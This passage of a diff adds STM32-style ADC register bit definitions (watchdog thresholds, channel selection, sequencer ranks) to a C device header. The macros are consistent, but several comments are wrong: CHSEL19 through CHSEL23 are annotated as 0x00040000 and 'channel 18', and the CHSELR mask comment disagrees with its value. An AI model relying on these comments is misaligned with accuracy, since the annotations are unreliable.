ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << 